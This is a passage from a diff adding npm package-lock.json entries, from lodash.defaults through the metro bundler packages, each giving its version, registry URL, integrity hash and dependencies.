"https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", + "integrity": "sha512-qjxPLHd3r5DnsdGacqOMU6pb/avJzdh9tFX2ymgoZE27BmjXrNy/y4LoaiTeAb+O3gL8AfpJGtqfX/ae2leYYQ==", + "dev": true + }, + "node_modules/lodash.difference": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz", + "integrity": "sha512-dS2j+W26TQ7taQBGN8Lbbq04ssV3emRw4NY58WErlTO29pIqS0HmoT5aJ9+TUQ1N3G+JOZSji4eugsWwGp9yPA==", + "dev": true + }, + "node_modules/lodash.flatten": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", + "integrity": "sha512-C5N2Z3DgnnKr0LOpv/hKCgKdb7ZZwafIrsesve6lmzvZIRZRGaZ/l6Q8+2W7NaT+ZwO3fFlSCzCzrDCFdJfZ4g==", + "dev": true + }, + "node_modules/lodash.isobject": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/lodash.isobject/-/lodash.isobject-3.0.2.tgz", + "integrity": "sha512-3/Qptq2vr7WeJbB4KHUSKlq8Pl7ASXi3UG6CMbBm8WRtXi8+GHm7mKaU3urfpSEzWe2wCIChs6/sdocUsTKJiA==", + "dev": true + }, + "node_modules/lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "dev": true + }, + "node_modules/lodash.memoize": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-3.0.4.tgz", + "integrity": "sha1-LcvSwofLwKVcxCMovQxzYVDVPj8=", + "dev": true + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "node_modules/lodash.mergewith": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.mergewith/-/lodash.mergewith-4.6.2.tgz", + "integrity": "sha512-GK3g5RPZWTRSeLSpgP8Xhra+pnjBC56q9FZYe1d5RN3TJ35dbkGy3YqBSMbyCrlbi+CM9Z3Jk5yTL7RCsqboyQ==", + "dev": true + }, + "node_modules/lodash.tail": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.tail/-/lodash.tail-4.1.1.tgz", + "integrity": "sha1-0jM6NtnncXyK0vfKyv7HwytERmQ=", + "dev": true + }, + "node_modules/lodash.throttle": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", + "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=" + }, + "node_modules/lodash.union": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", + "integrity": "sha512-c4pB2CdGrGdjMKYLA+XiRDO7Y0PRQbm/Gzg8qMj+QH+pFVAoTp5sBpO0odL3FjoPCGjK96p6qsP+yQoiLoOBcw==", + "dev": true + }, + "node_modules/lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", + "dev": true + }, + "node_modules/lodash.zip": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.zip/-/lodash.zip-4.2.0.tgz", + "integrity": "sha512-C7IOaBBK/0gMORRBd8OETNx3kmOkgIWIPvyDpZSCTwUrpYmgZwJkjZeOD8ww4xbOUOs4/attY+pciKvadNfFbg==", + "dev": true + }, + "node_modules/log-symbols": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", + "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", + "dev": true, + "dependencies": { + "chalk": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-symbols/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-symbols/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/log-symbols/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-symbols/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/logkitty": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/logkitty/-/logkitty-0.7.1.tgz", + "integrity": "sha512-/3ER20CTTbahrCrpYfPn7Xavv9diBROZpoXGVZDWMw4b/X4uuUwAC0ki85tgsdMRONURyIJbcOvS94QsUBYPbQ==", + "peer": true, + "dependencies": { + "ansi-fragments": "^0.2.1", + "dayjs": "^1.8.15", + "yargs": "^15.1.0" + }, + "bin": { + "logkitty": "bin/logkitty.js" + } + }, + "node_modules/logkitty/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/logkitty/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/logkitty/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/logkitty/node_modules/cliui": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", + "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", + "peer": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^6.2.0" + } + }, + "node_modules/logkitty/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/logkitty/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/logkitty/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "peer": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/logkitty/node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "peer": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/logkitty/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/logkitty/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "peer": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/logkitty/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "peer": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/logkitty/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "peer": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/logkitty/node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/logkitty/node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/logkitty/node_modules/require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "peer": true + }, + "node_modules/logkitty/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "peer": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/logkitty/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/logkitty/node_modules/which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q==", + "peer": true + }, + "node_modules/logkitty/node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/logkitty/node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "peer": true + }, + "node_modules/logkitty/node_modules/yargs": { + "version": "15.4.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", + "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", + "peer": true, + "dependencies": { + "cliui": "^6.0.0", + "decamelize": "^1.2.0", + "find-up": "^4.1.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^4.2.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^18.1.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/logkitty/node_modules/yargs-parser": { + "version": "18.1.3", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", + "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", + "peer": true, + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/loglevel": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.8.1.tgz", + "integrity": "sha512-tCRIJM51SHjAayKwC+QAg8hT8vg6z7GSgLJKGvzuPb1Wc+hLzqtuVLxp6/HzSPOozuK+8ErAhy7U/sVzw8Dgfg==", + "dev": true, + "engines": { + "node": ">= 0.6.0" + }, + "funding": { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/loglevel" + } + }, + "node_modules/loglevel-plugin-prefix": { + "version": "0.8.4", + "resolved": "https://registry.npmjs.org/loglevel-plugin-prefix/-/loglevel-plugin-prefix-0.8.4.tgz", + "integrity": "sha512-WpG9CcFAOjz/FtNht+QJeGpvVl/cdR6P0z6OcXSkr8wFJOsV2GRj2j10JLfjuA4aYkcKCNIEqRGCyTife9R8/g==", + "dev": true + }, + "node_modules/longest": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", + "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/loose-envify": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.3.1.tgz", + "integrity": "sha1-0aitM/qc4OcT1l/dCsi3SNR4yEg=", + "dependencies": { + "js-tokens": "^3.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/loud-rejection": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz", + "integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=", + "dev": true, + "dependencies": { + "currently-unhandled": "^0.4.1", + "signal-exit": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/lru-cache": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz", + "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", + "dev": true, + "dependencies": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "node_modules/make-dir": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", + "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", + "dev": true, + "dependencies": { + "pify": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/make-dir/node_modules/pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/makeerror": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", + "peer": true, + "dependencies": { + "tmpl": "1.0.5" + } + }, + "node_modules/map-cache": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", + "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/map-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", + "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/map-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", + "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", + "dependencies": { + "object-visit": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/material-colors": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/material-colors/-/material-colors-1.2.6.tgz", + "integrity": "sha512-6qE4B9deFBIa9YSpOc9O0Sgc43zTeVYbgDT5veRKSlB2+ZuHNoVVxA1L/ckMUayV9Ay9y7Z/SZCLcGteW9i7bg==" + }, + "node_modules/math-expression-evaluator": { + "version": "1.2.17", + "resolved": "https://registry.npmjs.org/math-expression-evaluator/-/math-expression-evaluator-1.2.17.tgz", + "integrity": "sha1-3oGf282E3M2PrlnGrreWFbnSZqw=", + "dev": true + }, + "node_modules/math-random": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/math-random/-/math-random-1.0.1.tgz", + "integrity": "sha1-izqsWIuKZuSXXjzepn97sylgH6w=", + "dev": true + }, + "node_modules/md5": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/md5/-/md5-2.2.1.tgz", + "integrity": "sha1-U6s41f48iJG6RlMp6iP6wFQBJvk=", + "dev": true, + "dependencies": { + "charenc": "~0.0.1", + "crypt": "~0.0.1", + "is-buffer": "~1.1.1" + } + }, + "node_modules/mdn-data": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-1.1.4.tgz", + "integrity": "sha512-FSYbp3lyKjyj3E7fMl6rYvUdX0FBXaluGqlFoYESWQlyUTq8R+wp0rkFxoYFqZlHCvsUXGjyJmLQSnXToYhOSA==", + "dev": true + }, + "node_modules/mem": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz", + "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", + "dev": true, + "dependencies": { + "mimic-fn": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/memoize-one": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/memoize-one/-/memoize-one-5.2.1.tgz", + "integrity": "sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q==", + "peer": true + }, + "node_modules/memory-fs": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz", + "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=", + "dev": true, + "dependencies": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + } + }, + "node_modules/meow": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz", + "integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=", + "dev": true, + "dependencies": { + "camelcase-keys": "^2.0.0", + "decamelize": "^1.1.2", + "loud-rejection": "^1.0.0", + "map-obj": "^1.0.1", + "minimist": "^1.1.3", + "normalize-package-data": "^2.3.4", + "object-assign": "^4.0.1", + "read-pkg-up": "^1.0.1", + "redent": "^1.0.0", + "trim-newlines": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/merge": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/merge/-/merge-1.2.0.tgz", + "integrity": "sha1-dTHjnUlJwoGma4xabgJl6LBYlNo=", + "dev": true + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "peer": true + }, + "node_modules/metro": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro/-/metro-0.73.8.tgz", + "integrity": "sha512-2EMJME9w5x7Uzn+DnQ4hzWr33u/aASaOBGdpf4lxbrlk6/vl4UBfX1sru6KU535qc/0Z1BMt4Vq9qsP3ZGFmWg==", + "peer": true, + "dependencies": { + "@babel/code-frame": "^7.0.0", + "@babel/core": "^7.20.0", + "@babel/generator": "^7.20.0", + "@babel/parser": "^7.20.0", + "@babel/template": "^7.0.0", + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "absolute-path": "^0.0.0", + "accepts": "^1.3.7", + "async": "^3.2.2", + "chalk": "^4.0.0", + "ci-info": "^2.0.0", + "connect": "^3.6.5", + "debug": "^2.2.0", + "denodeify": "^1.2.1", + "error-stack-parser": "^2.0.6", + "graceful-fs": "^4.2.4", + "hermes-parser": "0.8.0", + "image-size": "^0.6.0", + "invariant": "^2.2.4", + "jest-worker": "^27.2.0", + "lodash.throttle": "^4.1.1", + "metro-babel-transformer": "0.73.8", + "metro-cache": "0.73.8", + "metro-cache-key": "0.73.8", + "metro-config": "0.73.8", + "metro-core": "0.73.8", + "metro-file-map": "0.73.8", + "metro-hermes-compiler": "0.73.8", + "metro-inspector-proxy": "0.73.8", + "metro-minify-terser": "0.73.8", + "metro-minify-uglify": "0.73.8", + "metro-react-native-babel-preset": "0.73.8", + "metro-resolver": "0.73.8", + "metro-runtime": "0.73.8", + "metro-source-map": "0.73.8", + "metro-symbolicate": "0.73.8", + "metro-transform-plugins": "0.73.8", + "metro-transform-worker": "0.73.8", + "mime-types": "^2.1.27", + "node-fetch": "^2.2.0", + "nullthrows": "^1.1.1", + "rimraf": "^3.0.2", + "serialize-error": "^2.1.0", + "source-map": "^0.5.6", + "strip-ansi": "^6.0.0", + "temp": "0.8.3", + "throat": "^5.0.0", + "ws": "^7.5.1", + "yargs": "^17.5.1" + }, + "bin": { + "metro": "src/cli.js" + } + }, + "node_modules/metro-babel-transformer": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-babel-transformer/-/metro-babel-transformer-0.73.8.tgz", + "integrity": "sha512-GO6H/W2RjZ0/gm1pIvdO9EP34s3XN6kzoeyxqmfqKfYhJmYZf1SzXbyiIHyMbJNwJVrsKuHqu32+GopTlKscWw==", + "peer": true, + "dependencies": { + "@babel/core": "^7.20.0", + "hermes-parser": "0.8.0", + "metro-source-map": "0.73.8", + "nullthrows": "^1.1.1" + } + }, + "node_modules/metro-babel-transformer/node_modules/metro-source-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.8.tgz", + "integrity": "sha512-wozFXuBYMAy7b8BCYwC+qoXsvayVJBHWtSTlSLva99t+CoUSG9JO9kg1umzbOz28YYPxKmvb/wbnLMkHdas2cA==", + "peer": true, + "dependencies": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.8", + "nullthrows": "^1.1.1", + "ob1": "0.73.8", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "node_modules/metro-babel-transformer/node_modules/ob1": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.8.tgz", + "integrity": "sha512-1F7j+jzD+edS6ohQP7Vg5f3yiIk5i3x1uLrNIHOmLHWzWK1t3zrDpjnoXghccdVlsU+UjbyURnDynm4p0GgXeA==", + "peer": true + }, + "node_modules/metro-cache": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-cache/-/metro-cache-0.73.8.tgz", + "integrity": "sha512-/uFbTIw813Rvb8kSAIHvax9gWl41dtgjY2SpJLNIBLdQ6oFZ3CVo3ahZIiEZOrCeHl9xfGn5tmvNb8CEFa/Q5w==", + "peer": true, + "dependencies": { + "metro-core": "0.73.8", + "rimraf": "^3.0.2" + } + }, + "node_modules/metro-cache-key": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-cache-key/-/metro-cache-key-0.73.8.tgz", + "integrity": "sha512-VzFGu4kJGIkLjyDgVoM2ZxIHlMdCZWMqVIux9N+EeyMVMvGXTiXW8eGROgxzDhVjyR58IjfMsYpRCKz5dR+2ew==", + "peer": true + }, + "node_modules/metro-cache/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/metro-cache/node_modules/minimatch": { + "version": 